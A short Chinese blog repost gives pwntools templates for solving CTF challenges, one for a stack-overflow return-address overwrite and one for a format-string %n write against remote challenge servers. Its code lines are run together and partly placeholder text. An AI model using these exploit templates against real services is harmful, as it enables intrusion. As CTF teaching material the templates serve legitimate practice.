pwntools解题脚本模板
生活随笔
收集整理的這篇文章主要介紹了
pwntools解题脚本模板
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
一.棧溢出
from pwn import *r = remote("111.198.29.45", 34012) #連接指定IP及端口,題目給定payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)#發送數據,輸入數據溢出,并覆蓋,返回到目標位置r.recvuntil("字符串") #運行到字符串位置停下r.sendline(payload) #發送 payloadr.interactive() #交互二.格式化字符串
若需滿足 x==8的要求
from pwn import * p = remote('111.200.241.244', '52927') p.recvuntil("代碼中的字符串") p.send('') p.recvuntil("代碼中的字符串") payload=p32(溢出點)+"aaaa填充字符串個數%偏移量$n" p.send(payload) p.interactive()總結
以上是生活随笔為你收集整理的pwntools解题脚本模板的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python详解enumerate()方
- 下一篇: pwntools常用脚本语句介绍讲解